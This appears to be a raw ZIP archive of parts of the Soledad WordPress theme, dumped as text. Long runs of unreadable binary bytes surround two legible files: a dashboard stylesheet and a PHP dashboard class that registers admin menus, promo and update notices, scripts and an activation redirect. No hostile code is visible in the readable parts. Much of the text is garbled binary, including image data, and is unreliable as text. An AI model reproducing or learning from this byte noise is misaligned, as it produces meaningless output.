<sZmNv..'Ԝ}9P̂$h?˃2=+.#G=wOG>#a  cd$\ـݻgyZgvbԷaz8{ț}BhA{mD.'*KOik;D #/ h;@±!+ګ-ckn.v$?:ܗb{azKޣdGkyVֶZͥ:'Zsg.O\/+i.5j>(=>v
w=7\4߈y~)qNKss~9<k{doÞ;Z荄AR4vríḾѲʀ&_>p<a\&R_qo@X"P]TU0yvvwt]U՗i<Cix=c1v79(f
Mkڄ:'ڪ
I`|y9D5nU:C+/>9UF(#eI|K!Вl036nLGe*6Ne/ˌԎŪjj՚we7r|т֔讞AZSCr
֔BInt~-#ZVvLBr"9ŗ598Vxh_d^:|xmW(~My+)#%ʂu~ޯщ*KX<g7 |`zH0ikY=2n_uXGWVҹY]/K<JTdnYJM6@rݍNbjD8| '+^jt}΁bFAGĊ̃/cD;'f{s)y'	K17Em蘷Ҕk<#ꨏSIV:	e8Z(t i@>8[4XL{J..
5|E^]sҝcC~L@!=Iuzmʐ^IU:d݌a?a2h/iy;nQo (&=X;-?vkC)fm9ҟEf^-MזJ=4o,q˒i^X\lX޳ۓ{-:V{??&*_i]Ţ@T~9{UpMXאjS雩W::@VVپ=-}_ey{Ď^gifhjrԮ0(w90{T,OT<~>ϷXVX8^tΪ/y
F&$ZLȏ!DHn˃8mL:dJ'!c\?<ƶ}@} ݁
"'||2_}W	3:}6)X.邈Iemś [:ޝrmL#hd c^o ;6a!mLS
>nN- j'9BPB"7%"J<Z)
}B	[Sgԓd%7OMmfZdQ?8k8VjW{z 
5zՄff2!]J73Cƅ2P,Mwǹ*)5H% s9ҏtITH'~icK"~X=~KH^!O q&
"^S9c*l`t122Qd@Z1N[
:H\t܆CeSSR|DXECydhp9@ <(+$̙4;.9댋)5des׷z$Uf{<&v$b)KWTR8Yj'?K^GW{o%8dwJgMz	3.7S[^n?ԣlC9XdC?5{/{/{ 2D{Duwo̧CjcT#Țy+L@w1c@]?|K9dXe,r755뼼ِ\\5A	7	[B~bs^wE)`sOrя)eަlCZ@Kgߝz/miM)|DRѿ=/|pzWPC<xu=(9m8m؊-LW.n:Z}w杠6
w$"O5t5Nց;&̢ '|^0R.T(|$pȲ!M:toTĦKMH'O|26N5k 1J-1YYsViU8ofYps*l	/Evs2J/?|ŸFb-VAcF:ll{类.KM(6MYW,3wEc©Q<
CT?l7UZ*{EipCT4c)f(1/Z,O,TeECkؖK,KH:&#H D5mrH?3QF"DЉ6ŷP>	!Uqu.fc^tX\ZZJ9 V]бو+|fq,ҏA_/儘(# :ΓkQn~C
<ϳMfɥ$<;eڤ1%iEUgq*;R1=XhW`VUr7.Y"qyW(M&qψb)cAnjIW4ytҝ1Q܃j	6W!hd77"N˴:CM\ ti1r[?Ѓo{TEzr	6k?ZQ[7/V{.=ծ"+9= KLe,`Sw9oW͡ɓl
_G׆aR0e_ǁu5X2k>[:kї/7:YÒ+W.1Ade;f4Y.H:^θ`"<HWG!uM,Z@LT7cCގ
>7%1$E5:DkP2r@5ݕ+Zf}G7R=4GObT˷
ώ#_wTaҳjt[H	-ysGdhAu.Z54N^RӲG2Qё\I>]zP=>';r?8Dx[k5j4ITU	W0*hڬFgLRgX,cA!*}%sY|{F+u]$_oIr+sźv8sR?,%_'N,8+ kħFgd/$[5'Zǡ)A{P{2dfܥC(QUg1r\;Hbbτe+lI""Ӝ.?>ikV2Yr.6ы<OF}Klc+$#˧{ɘ
6S9Ґud`*ٕX5=eou7~4-xf&|ۼc;¼,Z_ݥ&k㯩\&cwFc렮7ؔWK]}QY:HA=r/KuWT7Voi;Ս+ݖO?em+9W*3Mu=-ZR)Qv!EQa(9P+Bv{@E5*q]?vS!W㐸7g!N£IrWOԇdmbWBM!*I>t3<Zo30Xܧ ?yI=5`ռ4jM,Cy=o݉TpGXFo~Uo+ZmGz-V-;ziʁ@5~c8{nPLT{+<T4B-ܾ[@Ad/y@eA*mhɛ03N>9 3D˓ʬy*{+IfD$5w[EGeLeurH1T~ΧtWyw$vsjf2(dFg]kSz!~']:4`lyi1Yʸ7yT)IJu ^ճķ'^DvIwN{+$>|ؿzFdaObDL{̬o<5|ʐ-DIߚkyBoW+o^'^N? =8\|7rp0~IqX3
Xdyzl0Ep)KdBĔ,DKΞkm?^$fRd9M"Q%ƨѣfHç]9_RUAq}<=^F-ڋV욽Vq*ĝ/s ru!`D[Iw=)	EkvkȿgouS,`*糣:g<NϾ${֩ڗmߕ˻:7mL̝VP	Zox\b'CL}zq!=Ew
h8t[F3XcXru.$K|3b8rҋ?MzbިAԧ?k+Q=JZ;Tgr]M{C}BK&0F~~Y:P]\
BT*&,FuUy`HnnF|Klnx\.H|Im,i]&+C9DZ7+gDs>mb|{{qOuyeڬ(+7oʈz0'#2VQǗME}
LK4~I:ֲǌ5'Je9wse>{hPg,f!k土^Ɔl|wu|Ñ߬<e͛ԝ|wZ@OiP	lnsS֔L|Br%IРu֡;ER,Mj7l}-[`pɮ0ف.uI"uCC6L N-Jb;B! ~)4dndNj7s'E	o9J	n0p3;̝07*]R݇ƉC ܙ<?4?{tqbXݰem7		wvClWjm'|[d>DQx3Ckp)eC>Ԟ$2f=:Hh5ڢhFL,@:E~7BV?Q#3QA.јڬxWujTa7`N"*kKbYJD:
,T3sq%̓!LooPMZ~8_BUh2|H@mEj]<m	wFɇ|![$Q#z T֞N6		讎HNb!b'rV!Rn&>ww)rR`><\|a  	+Q۹o=b$Jhܒ"A丄uu?\hG!7˽&K>p50E*~#>ĤR>p8%q{}#pqͿfOG[pVarNv
@`HrrUHkέ|zg,tQͭNb)Y0G}ws=?1]Ο.:Xӻ$Vލځsw/@@{W,}v✥"ԸzEIIKU ŏIeP `fq4ꒀ<Et\|4:C(zm;n	ih071(XXb>y]%] -"Փ9szRi ٪Ӎ럤1!Sj3^-S`Y9 %̥ʒ>2.-}pѷ7^-R2U[KV^j]N牅a"}-| k2a^!b)-D*57hoѠJ?\ζn<oQ0^06%g>)fU*7U'M$+6_7	ԤY|jipUzǵA[.`{f"[ꨃH170u eeɲHk.a0<bGQJi%_+!}Wjۑu(GkfEsF/ryy#X5FHƮ5Ye8<1g휨}fP},-^_JϷ&}$6vƸeo0?
{d" +=*cyxyZ%=vS#C9
p"8*^Zx7S͊;s_"̯i#'+*q2Iyl%E^[Ɖ78A-4㋲.AuFEOZa;R3GF~#T]\{jgWX~<pDmEݭQGC=p$sCT"YuG?1zˠxiv5:h`亟#*,f#>3eTuu+(l:*owQʑGwE8wU՛nK- ͎KMr9]ay+2p+ҹx?_Q{(Ƕ;
-!1FR9nf!К?n
  cD$=Kn,PYgxqͩ'C 
}G%3CgQӜc$n%lcfUˌN^ޤM-'KVϚ9yezbQȵƏxTRQ5~^u9g3f {&#TuH8%2t):N#s??%?05љT*Rg)Sאy"҇SAܻ錪)qRK=WH=.(<>L},7汫ƎP s+fIX\h;sb).V Ħ,|pUYY}0ӐTzqMeRp-NS\ .]HdvidK9}dqzK5nX e5bF6ʍmC@;?{R,l=pe(FM-c<:GНn喊&RaRVz*/ҴT#H6v#I(V!QҠG߄+xm2k3zU35հ2o~Gqrv *[ՒC[~:m&$4ijB84|؍pHr+ƺQ)؂I
<Dmh	lH7IyCjAG@^rUe5ôcG#[!C"JTܻr7+LUʻ|%#NM6t?&BDo;<>gHSba-ui-l/о0\M}K?FdD{={<ԍ^Ѡ;|x݋	]94jFaf|l\Q!r53Lc6?aa5cG|-ls^8%6uO9QǟnXIx4paܽfζK~?+2yIb);(JΕFH+*1&"ɰɍPa%'of?cOOK8VzMécg֧6Y_}	om+zgT|VQ?'"xR;gO^L8;qaߘlLbL\Ww>k~[gwk:>2}ZB{W
,w&S ka@Ը?6>3n=)?{2H2,)qH`ޕ3jkTĞB?Qm$%)}bUq_cqY	-_1Ӂ)j?E=7>-96l. sx"hc[y7?N- TK79|ѰxzjgmhInHog)v~C;LJqupmW<˗=l+(lCPm-[IHHK(|LQkgª?CEBx}QN";FNUcE\k5EG
н^Jv<+DkrKCNw¹*{Ϛ>jhÉW~{|kÿ$a=g1izf҆Mm z`0X*+Gn ?J> [Std>)`zdM+9,Z', į>cu}nmĐN=z8$Rգ3c1MEKY$5
]Y<z(:ObNAE5إ,/ -DʰsU2
bC=(FsU;ˏ(.&@÷?K*ؕ1E<
|g<%u"
kCD%ʫpzE]h?*dPg\R
Dć U$F&i橇Z>^=xܠKHUNyxUqYd*ggmnL%r䰼!@Z"["(͘pfk"v$ρ9&LIQV:WIZk7TT!X52QIe(ZP
b}LLϰ:.'T/kS->lT5}Tr#e(SG:'WmP  8oVV7S*6⋫-7kI5P|-wSX-g`(TzI(jaZc^w.8g-fV]hl3.yOu2&8EAD|L|Z3ɡ2]ۑ5KqO[شܵ,Մ>k*jsέ	*Ѯ|\A[
TO=5@'z=]Z(CGEfM8GWP+qNEmF068Z:b7-Ь%{Ch1^tm,R\HTZ#x㮽`Y'}?}iou8KP1㥙夆C Z"8@x
µ-``Pj}6LlRU\6[CZN"*Y=3CȾ3ڣx~,ceG;,5R>Uw6ԼSAR7|aqu^ځ;V`ۼ<VVHɪE-3t9ɅhG;~Vn<r-˥V?%asR1>:{~۔x9:7N+m1f75dGrzZFݬ(:%P
9GaxLIrl2}>Mn?KwE/:T@Y_a^O ME^3	O\s
_^9$-Q5y'msсcvV I߇!?I$7ܡ\ód[#mH܁F&8$* pw,意hiḩt-,6 i0I^,`Ś7{~5QR<?OȊc%S(D<Cɓά*rW/<5IT,yP	4M^V˿׏e?1MBOP<qBT}6Z	|.<3pG2qZoݹp|UNbUqkw~m9`LEE@Ka}!,/p7b ]G{O1R1;čA&u³F ?m	]1ϛGg돾IYƃ#JjaZz "L(Bz~FqieU7m4/u? @H	DBL0}*X"JZFbN@FP'HfXDIVTM7Lv\(N,/ʪnڮi^m?~(N,/ʪnڮaBRic0Nnq^~?yd=#?jߴl| `pBXB+JZFbNq  $
") Pitpy|P$HerRhuzdXmvz@H	DBY`./LPNo0p?_ %R\T5Z !A1 )a9dXmvx}~	e\HuӲ]n) &q!=?8Q4ˋquۏs I(ɊiَAIEYM8˺yݟ #($E3,$+e;a'ieU7m/!m)hrYzb33SH`]AMx1A>]5j^FiT\?8E|ӕ_eoH{UĠT&L-3QWnԤuM*
ۥD+%j;bͮ' Y>(؟4w]|/JW#Ȥ Zca7B'8:{} N$8oQ|W mOnL)Q^!WCM8}:Nhۑc&4ٝqo_@xމɐ5Q+t*\]w	C!W^"ywne/R=`*5bJzMwZN	hPQ7޴-␜EgC29*XYKUk&D\4]aw-5&_kD@;I1fͫ{C[ŏY}ExdS9ɇ@~$`KPK}=wvZR
?Ph{%Zdϙ'biys-KhOü . [4/%0y]|(珫DBˀ(D뺹"cfw8NgPmzdo*Ģj6hni[}iY
LٱEf9eF8dǣOk@p#B\'Mo=)uĐEB>:6Qlo6]Z* )˸kֿ /d?6Q7Dx'ey:KCaM۽T&ufTx_WD){5PJ7A2wWqo-Cg*tej^"~4{;fo-W?*wW1{|k.QZ"
X-J/~۵dp; <W4MS/+Enش0;=N{3!Q)9]=$}޵2KPg(۫PY)k揚f,}eKfh#*3WA+xvfe++,fTr~j)	[Tn*4p]W1ǳ%f5*yW		@Y9~ËɄT5Xٳi_q# ;K(569LFQ /RLEE&RzOEK-Q}YkvqsOLcG2hn⪻ :`֥$ǘ7UѬr_JQ!wJ:6m纏h%b4	TM_3\jzFs1g.cbGd?2RY`o;2u%{^r)`+v۳7Fs=CuC{C.=Z8kVYe`Ԯ_YꓣUu@iR|:^y%}.ӀT4O.]qqZ-v.weio:f/1I|FbDXCE?{U-Nx0w6~U~}.xcf!6x>}   WAD<i3״)>|Qķ~XC}<A>6c T;k#7.{7c8T_4X;B*bm#"""*RJ)EDDDD̛?97t3Zkgсhzt&ޯw.YNˋվgH@E!6~brݴz]DDDDDDDfffffffVUUUUUUUi{z6Nd PK     N\H  H  %  inc/dashboard/css/dashboard-style.cssnu [        .penci-about-wrap {
	max-width: 1200px;
}

.penci-about-wrap .feature-section h3{
	margin-top: 1.25em !important;
}

.about-wrap .wp-badge {
	background-image: url(../images/logo.png);
	color: #fff;
}

.about-wrap .nav-tab{
	font-size: 15px;
}

a {
	text-decoration: none;
}

.penci-dashboard-wapper .product {
	text-align: center;
}

.penci-dashboard-wapper .products .product img {
	box-shadow: none;
	margin: 0 auto;
}

.penci-dashboard-wapper .wp-badge:hover {
	text-decoration: none;
}
.feature-section {
    overflow: hidden;
}
.feature-section.two-col {
	align-items: flex-start;
}
.feature-section.two-col,
.feature-section.three-col {
    display: flex;
    justify-content: space-between;
    flex-wrap: wrap;
}
.feature-section.two-col .col,
.feature-section.three-col .col {
    flex: 1;
    align-self: flex-start;
	padding: 0 10px;
}

.feature-section.two-col h3:not(:first-child) {
	margin-top: 3em;
}
.feature-section img {
	display: block;
	box-shadow: 0 0 20px rgba(0, 0, 0, .1);
}

.nav-tab-active:focus {
	box-shadow: none;
}

.button-hide {
	display: none !important;
}

.penci-upload-font-actions {
	margin-top: 5px;
	margin-bottom: 10px;
}

.custom-fonts-name {
	width: 250px;
}

.gt-is-active {
	display: block;
}

.penci-dashboard-wapper .form-table tr {
	border-bottom: 1px solid #ddd;
}

.penci-dashboard-wapper .form-table th {
	padding-left: 10px;
}

.penci-dashboard-wapper .form-table th:not(:first-child),
.penci-dashboard-wapper .form-table td:not(:first-child) {
	width: 15%;
	text-align: center;
}

.penci-dashboard-wapper .about-wrap td h3 {
	margin-top: 0;
}

.penci-dashboard-wapper .form-table .dashicons {
	font-size: 35px;
	width: 35px;
	height: 35px;
}

.penci-dashboard-wapper .form-table .dashicons-yes {
	color: green;
}

.penci-dashboard-wapper .form-table .dashicons-no {
	color: red;
}

.penci-table-options {
	margin-top: 10px;
	margin-bottom: 20px;
}

#system_status table{
	margin-bottom: 35px;
}

#system_status table th {
    padding: 10px 10px 10px 15px;
    font-weight: bold;
}

#system_status table td {
    padding: 10px;
}

#system_status .system-status-name {
    width: 200px;
    padding-left: 15px !important;
}

#system_status .system-status-status {
    width: 50px;
    text-align: center;
    font-size: 11px !important;
}

#system_status .penci-tooltip {
    width: 12px;
    height: 13px;
    display: inline-block;
    text-align: center;
    line-height: 13px;
    cursor: pointer;
    position: relative;
    top: 2px;
}

#system_status .system-status-info {
    background-color: silver;
    color: white;
    font-size: 11px;
}

#system_status .system-status-green {
  background-color: #58AD58;
}
#system_status .system-status-yellow {
  background-color: #F2E132;
}
#system_status .system-status-red {
  background-color: #f2483a;
}

.status-small-text {
  font-size: 12px;
  color: #707070;
  font-style: italic;
  display: block;
}

.multiple-select {
	width: 90%;
}

.soledad-hide-googlefont,
.penmews-hide-option {
	display:  none;
}
.title-more-items {
	text-align: center;
}

.about-wrap #getting-started .feature-section .col,
.about-wrap #support .feature-section .col {
    margin-top: 20px;
}
 
 .about-wrap #support .feature-section.three-col h3,  	
.about-wrap #getting-started .feature-section.three-col h3 {
    margin-top: 0;
}

.penci-activate-wrap{
	background-color: #fff;
	max-width: 750px;
	margin-top: 50px;
	padding: 40px;
	box-shadow: 0 0 8px 0 rgba(0, 0, 0, 0.08);
	-webkit-box-sizing: border-box;
	-moz-box-sizing: border-box;
	box-sizing: border-box;
}

.penci-activate-wrap .penci-activate-code-title {
	font-size: 28px;
	margin-top: -11px;
	margin-bottom: 12px;
	line-height: 30px;
}

.penci-activate-wrap .penci-activate-desc,
.penci-activate-wrap .penci-activate-desc2 {
	width: 100%;
	font-size: 14px;
	line-height: 24px;
	margin-bottom: 36px;
}
.penci-activate-desc2 strong,
.penci-activate-desc strong {
	color: #000;
}
.penci-activate-wrap .penci-activate-inputs {
	position: relative;
	margin-bottom: 30px;
}

.penci-activate-wrap .penci-form-control {
	width: 100%;
	height: 42px;
	margin: 0;
	padding: 0;
	font-size: 16px;
	border: 0;
	-webkit-transition: all 0.3s ease-out;
	-moz-transition: all 0.3s ease-out;
	-o-transition: all 0.3s ease-out;
	transition: all 0.3s ease-out;
	-webkit-box-shadow: inset 0px -20px 0px -19px #dedede;
	-moz-box-shadow: inset 0px -20px 0px -19px #dedede;
	box-shadow: inset 0px -20px 0px -19px #dedede;
}

.penci-activate-wrap .penci-form-control::placeholder {
	color: #b4b4b4;
}
.penci-activate-wrap .penci-form-control:focus {
	-webkit-box-shadow: inset 0px -20px 0px -19px #6eb48c;
	-moz-box-shadow: inset 0px -20px 0px -19px #6eb48c;
	box-shadow: inset 0px -20px 0px -19px #6eb48c;
}
.penci-activate-wrap .penci-form-control:focus::placeholder {
	visibility: hidden;
}

.penci-activate-wrap .penci-form-control-bar {
	position: absolute;
	top: 41px;
	left: 0;
	-webkit-transition: width 0.3s ease;
	-moz-transition: width 0.3s ease;
	-o-transition: width 0.3s ease;
	transition: width 0.3s ease;
	background-color: #6eb48c;
	width: 0;
	height: 2px;
}

.penci-activate-wrap .penci-form-control:focus + .penci-form-control-bar {
	width: 100%;
}

.penci-activate-wrap button{
	border: 0;
	border-radius: 0;
	background: #000;
	color: #fff;
	line-height: 36px;
	padding: 0 15px 0;
	text-align: center;
	transition: all 0.25s;
	font-size: 14px;
	text-transform: uppercase;
	cursor: pointer;
}

.penci-activate-wrap button:hover {
	border-color: #6eb48c;
	background: #6eb48c;
	color: #fff;
}

.penci-activate-wrap .soledad-find-code{
	display: inline-block;
	padding-left: 20px;
	font-size: 13px;
}

.penci-activate-wrap  .penci-activate-err {
	color: red;
	font-size: 14px;
	margin-top: 5px;
}

.penci-activate-wrap  .penci-activate-err span{
	display: none;
}

.penci-activate-wrap  .penci-activate-err span.penci-err-show{
	display: block;
}

.penci-activate-wrap  .spinner {
	float: none;
	display: none;
}

.penci-activate-wrap  .spinner.active {
	visibility: visible;
	display: inline-block;
}

#wpadminbar ul li.penci-update-notice-button a,
#wpadminbar ul li.penci-update-notice-button a:hover {
	background-color: #b70303 !important;
	color: #fff !important;
}
PK     N\A
*  *  '  inc/dashboard/class-penci-dashboard.phpnu [        <?php
/**
 * Add theme dashboard page
 *
 * @package Soledad
 */

/**
 * Dashboard class.
 */
class Penci_Soledad_Dashboard {


	private static $instance;

	public static function instance() {
		if ( null === static::$instance ) {
			static::$instance = new static();
		}

		return static::$instance;
	}


	public function __construct() {
		require_once __DIR__ . '/inc/custom_fonts.php';
		require_once __DIR__ . '/inc/social_order.php';
		require_once __DIR__ . '/inc/require-activation.php';
		require_once __DIR__ . '/inc/white-label.php';
		require_once __DIR__ . '/inc/custom-fonts-type.php';
		require_once __DIR__ . '/inc/patcher.php';

		if ( current_user_can( 'manage_options' ) ) {
			add_action( 'admin_menu', array( $this, 'add_menu' ) );
			add_action( 'admin_bar_menu', array( $this, 'add_bar_menu' ), 999 );
		}
		add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_scripts' ) );
		add_action( 'admin_init', array( $this, 'redirect' ) );
		add_action( 'admin_notices', array( $this, 'promo_notice' ) );
		add_action( 'admin_notices', array( $this, 'penci_update_notice' ) );
		add_filter( 'upload_mimes', array( $this, 'custom_mime_types' ) );
		add_action( 'wp_ajax_admin_dimiss_license_notice', array( $this, 'admin_dimiss_license_notice' ) );
		add_filter( 'admin_body_class', array( $this, 'add_body_classes' ), 100 );
	}

	public function add_body_classes( $classes ) {

		$installations = Soledad_Theme_Installations::get_instance();

		if ( $installations->is_setup() && 'done' !== get_option( 'soledad_setup_status' ) ) {
			$classes .= ' soledad-setup-wizard-page';
		}

		return $classes;
	}

	public function promo_notice() {

		$penci_note   = isset( $_GET['penci-dismis'] ) ? $_GET['penci-dismis'] : '';
		$dismis_promo = get_transient( 'penci_dismis_promo' );

		echo $dismis_promo;
		
		if ( 'penci_dismiss_promonotices' == $penci_note ) {
			set_transient( 'penci_dismis_promo', 'yes', 86400 );
		}

		if ( penci_is_new_promotion() && ! $dismis_promo ) {

			$data_pro = penci_is_new_promotion( true );
			if ( !empty( $data_pro ) ){
			?>
			<div class="notice pc-promo-notice">
				<a target="_blank" href="<?php echo $data_pro['link'];?>"><img src="<?php echo $data_pro['url'];?>" alt=""></a>
				<a class="pc-promo-notice-dismiss" href="<?php echo admin_url( '?penci-dismis=penci_dismiss_promonotices' ); ?>">×</a>
			</div>
			<?php
			}
		}
	}

	public function custom_mime_types( $mime_types ) {
		$mime_types['woff'] = 'application/x-font-woff';
		$mime_types['svg']  = 'image/svg+xml';

		return $mime_types;
	}

	public function admin_dimiss_license_notice() {
		update_option( 'penci_hide_license_notice', true );
		wp_send_json_success();
		wp_die();
	}

	/**
	 * Add theme dashboard page.
	 */
	public function add_menu() {

		$wel_page_title      = $this->get_wel_page_title();
		$wel_page_title_html = $wel_page_title;
		if ( penci_is_new_update() ) {
			$wel_page_title_html = $wel_page_title . ' <span class="update-plugins"><span class="update-count">Update</span></span>';
		}
		add_menu_page(
			$wel_page_title,
			$wel_page_title_html,
			'manage_options',
			'soledad_dashboard_welcome',
			array(
				$this,
				'dashboard_welcome',
			),
			null,
			3
		);
		add_submenu_page(
			'soledad_dashboard_welcome',
			esc_html__( 'Custom Fonts', 'soledad' ),
			esc_html__( 'Custom Fonts', 'soledad' ),
			'manage_options',
			'edit.php?post_type=penci_cfonts'
		);

		$this->replace_text_submenu();
	}

	public function get_wel_page_title() {
		$wel_page_title = get_theme_mod( 'admin_wel_page_title' );

		return $wel_page_title && get_theme_mod( 'activate_white_label' ) ? $wel_page_title : 'Soledad';
	}

	public function replace_text_submenu() {
		global $submenu;
		$submenu['soledad_dashboard_welcome'][0][0] = esc_html__( 'Welcome', 'soledad' );
	}

	function penci_get_option( $key = null, $default = false ) {
		static $data;

		$data = get_option( 'penci_soledad_options' );

		if ( empty( $data ) ) {
			return array();
		}

		if ( $key === null ) {
			return $data;
		}

		if ( isset( $data[ $key ] ) ) {
			return $data[ $key ];
		}

		return get_option( $key, $default );
	}

	public function add_bar_menu() {
		global $wp_admin_bar;
		if ( ! is_super_admin() || ! is_admin_bar_showing() ) {
			return;
		}
		$wp_admin_bar->add_menu(
			array(
				'parent' => 'site-name',
				'id'     => 'soledad-dashboard',
				'title'  => $this->get_wel_page_title(),
				'href'   => admin_url( 'admin.php?page=soledad_dashboard_welcome' ),
			)
		);
	}

	/**
	 * Show dashboard page.
	 */
	public function dashboard_welcome() {
		$wizard       = Soledad_Theme_Installations::get_instance();
		if ( $wizard->is_setup() && 'done' !== get_option( 'soledad_setup_status' ) ) {
			$wizard->setup_wizard_template();
		} else {
		?>
		<div class="wrap about-wrap penci-about-wrap">
			<?php include PENCI_SOLEDAD_DIR . '/inc/dashboard/sections/welcome.php'; ?>
			<?php include PENCI_SOLEDAD_DIR . '/inc/dashboard/sections/getting-started.php'; ?>
		</div>
		<?php
		}
	}

	/**
	 * Enqueue scripts for dashboard page.
	 *
	 * @param string $hook Page hook.
	 */
	public function enqueue_scripts( $hook ) {

		$ver = current_time( 'timestamp' );

		wp_enqueue_media();
		wp_enqueue_style( 'dashboard-style', PENCI_SOLEDAD_URL . '/inc/dashboard/css/dashboard-style.css', array(), PENCI_SOLEDAD_VERSION );
		wp_enqueue_script( 'soledad-button-script', PENCI_SOLEDAD_URL . '/inc/woocommerce/js/jquery-grid-picker.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION );
		wp_enqueue_script( 'soledad-dashboard-script', PENCI_SOLEDAD_URL . '/inc/dashboard/js/script.js', array( 'jquery' ), $ver );

		$localize_script = array(
			'ajaxUrl' => admin_url( 'admin-ajax.php' ),
			'nonce'   => wp_create_nonce( 'ajax-nonce' ),
			'patcher_nonce'   => wp_create_nonce( 'patcher_nonce' ),
			'domain'  => get_home_url( '/' ),
		);
		wp_localize_script( 'soledad-dashboard-script', 'PENCIDASHBOARD', $localize_script );
	}

	/**
	 * Add notice message when a new version released
	 *
	 * @param none.
	 */
	public function penci_update_notice() {
		if ( penci_is_new_update() ) {
			$penci_note     = isset( $_GET['penci-dismis'] ) ? $_GET['penci-dismis'] : '';
			$latest_version = penci_is_new_update( 'version' );
			$dismis_version = get_transient( 'penci_dismis_update_version' );
			if ( ! $dismis_version || version_compare( $latest_version, $dismis_version, '>' ) ) {
				update_option( 'penci_dismiss_update_notices', '' );
			}
			if ( 'penci_dismiss_updatenotices' == $penci_note ) {
				update_option( 'penci_dismiss_update_notices', 'yes' );
				set_transient( 'penci_dismis_update_version', $latest_version, 2592000 );
			}
			$penci_dismis_notes = get_option( 'penci_dismiss_update_notices', '' );

			if ( 'yes' != $penci_dismis_notes ) {
				?>
				<div class="notice pc-update-notice">
					<p class="pc-updaten-title">New Update Available!</p>
					<p>There is a new version of the theme available! Update your theme to get new features and bug
						fixes.</p>
					<p>You can check <a href="https://pencidesign.ticksy.com/article/15633/" target="_blank">this
							guide</a> to know how to enable updates with one click.</p>
					<p>You can click <a
								href="https://themeforest.net/item/soledad-multiconcept-blogmagazine-wp-theme/12945398#item-description__update-changelog"
								target="_blank">here</a> to check what's new in the newest version also.</p>
					<p><a style="text-decoration: none; opacity: 0.8;"
							href="<?php echo admin_url( '?penci-dismis=penci_dismiss_updatenotices' ); ?>">Dismiss this
							update.</a></p>
				</div>
				<?php
			}
		}
	}

	/**
	 * Redirect to dashboard page after theme activation.
	 */
	public function redirect() {
		global $pagenow;

		$install_wizzard = true;
		$url = admin_url( 'admin.php?page=soledad_dashboard_welcome' );

		if ( 'done' === get_option( 'soledad_setup_status' ) ) {
			$install_wizzard = false;
		}

		$args = array(
			'page' => 'soledad_dashboard_welcome',
			'tab'  => 'wizard',
		);

		if ( $install_wizzard ) {
			$url = esc_url_raw( add_query_arg( $args, admin_url( 'admin.php' ) ) );
		}

		if ( is_admin() && isset( $_GET['activated'] ) && 'themes.php' === $pagenow ) {
			wp_safe_redirect( $url );
			exit;
		}
	}
}

if ( ! function_exists( 'penci_is_plugin_active' ) ) {
	function penci_is_plugin_active( $class, $slug ) {
		return $class->is_plugin_active( $slug );
	}
}

function penci_update_toolbar_link( $wp_admin_bar ) {
	$tgm_instance    = TGM_Plugin_Activation::get_instance();
	$default_plugins = array(
		'penci-shortcodes',
		'vafpress-post-formats-ui-develop',
		'penci-soledad-slider',
		'penci-portfolio',
		'penci-recipe',
		'penci-review',
		'penci-soledad-demo-importer',
		'penci-soledad-amp',
	);

	foreach ( $tgm_instance->plugins as $id => $detail ) {
		if ( in_array( $id, $default_plugins ) && penci_is_plugin_active( $tgm_instance, $id ) && $tgm_instance->does_plugin_require_update( $id ) ) {
			$penci_icon = '<svg style="position: relative; top:4px;margin-right: 5px;" version="1.0" xmlns="http://www.w3.org/2000/svg" width="18px" height="18px" viewBox="0 0 26.000000 26.000000" preserveAspectRatio="xMidYMid meet">
				<g transform="translate(0.000000,26.000000) scale(0.100000,-0.100000)" fill="#ffffff" stroke="none">
					<path d="M72 202 l-62 -60 0 -66 0 -66 125 0 125 0 0 61 0 61 -63 65 -62 64
				-63 -59z m73 28 c3 -5 -3 -10 -15 -10 -12 0 -18 5 -15 10 3 6 10 10 15 10 5 0
				12 -4 15 -10z m57 -57 c34 -33 36 -38 20 -49 -14 -10 -21 -8 -45 12 -36 31
				-62 30 -93 -1 -21 -21 -28 -23 -44 -13 -19 12 -18 14 17 50 51 52 92 52 145 1z
				m-77 -93 c0 -59 -1 -60 -27 -60 -26 0 -28 3 -28 42 0 24 7 49 17 60 28 32 38
				21 38 -42z m49 44 c10 -9 16 -33 16 -60 0 -40 -2 -44 -25 -44 -24 0 -25 3 -25
				60 0 62 7 71 34 44z m-130 -20 c9 -8 16 -31 16 -50 0 -27 -4 -34 -20 -34 -17
				0 -20 7 -20 50 0 28 2 50 4 50 3 0 12 -7 20 -16z m201 -34 c0 -44 -3 -50 -20
				-50 -18 0 -20 5 -17 38 4 35 17 62 31 62 3 0 6 -22 6 -50z"></path>
					<path d="M90 70 c0 -5 5 -10 10 -10 6 0 10 5 10 10 0 6 -4 10 -10 10 -5 0 -10
				-4 -10 -10z"></path>
				</g>
			</svg>';

			$args = array(
				'id'    => 'penci-update-notice',
				'title' => $penci_icon . ' Soledad - Notifications',
				'href'  => '#',
				'meta'  => array(
					'class' => 'penci-update-notice-button',
					'title' => 'Soledad - Notifications',
				),
			);
			$wp_admin_bar->add_node( $args );

			$args = array(
				'id'     => 'penci-update-notice-link',
				'title'  => 'Some Plugins Need to Update',
				'href'   => admin_url( 'themes.php?page=tgmpa-install-plugins&plugin_status=update' ),
				'parent' => 'penci-update-notice',
				'meta'   => array(
					'class' => 'penci-update-notice-btn',
					'title' => 'Some Plugins Need to Update',
				),
			);
			$wp_admin_bar->add_node( $args );
		}
	}
}

add_action( 'admin_bar_menu', 'penci_update_toolbar_link', 50 );
Penci_Soledad_Dashboard::instance();
PK     N\1Ԑ  Ԑ     inc/dashboard/images/pennews.jpgnu [         JFIF  H H    	

+  +&.&#&.&D6006DOB?BO_UU_xrx	

+  +&.&#&.&D6006DOB?BO_UU_xrx ,N"               	     =}w|63c|@QAEPUP\EQU3QW%RZ.=%ޱE/{(d
Bdcܟ8,X(   H((*㙎.פPqe@P%U	ÉIC0(J[15y=2
 *!]N.si|Vtw!3t%֫!GOtQTU19p:0xE#<ד@" bٴ0Y3>Eou!}6u˵`(e.4-gJ?TPU-i>E}U܁7knt󣦧52d
M)SrԩVD@TU$٫ ym"$ym<vqArEDoxZoeyv%SZ ( "f! *Jd
*/=h4Jz>&Ԫ 
 "mY)1ؖ@2$,VM)DBrӱbQ:i{c!W_=ψҢ( `G_3Ǘ:"ҵ8`Gv1y Z6'߼JܩR͡E2E z>y?r<Ə隆OZWsV_0tMS#lG^̱L_-hY3( *
"@

hWܙJࠂ
 xB"f( 
>RU:kSsI0uB"
